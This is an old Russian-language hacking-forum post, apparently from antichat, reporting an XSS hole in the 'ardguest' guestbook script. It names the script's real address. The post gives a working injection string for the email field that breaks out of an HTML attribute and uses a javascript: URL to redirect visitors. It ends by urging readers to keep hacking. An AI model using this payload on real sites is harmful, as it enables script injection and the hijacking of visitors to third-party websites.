PDA

Просмотр полной версии : Уязвимость гостевой книги ardguest


Егорыч+++
20.05.2004, 16:16
История такая.. Набрал в googe.com "script guestbook" и зашел по первой ссылке. И что мы видим... Опять дырявая гостевая. В поле почты добавляем скрипт

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">dede@de.de' style=background-image:url(javascript:navigate('antichat.ru'));[/QUOTE]<span id='postcolor'>


И получаем редирект на сайт АНТИЧАТ http://forum.antichat.ru/iB_html/non-cgi/emoticons/rolleyes.gif

Адрес скрипта http://www.promosi-web.com/script/guestbook/

Ломаем дальше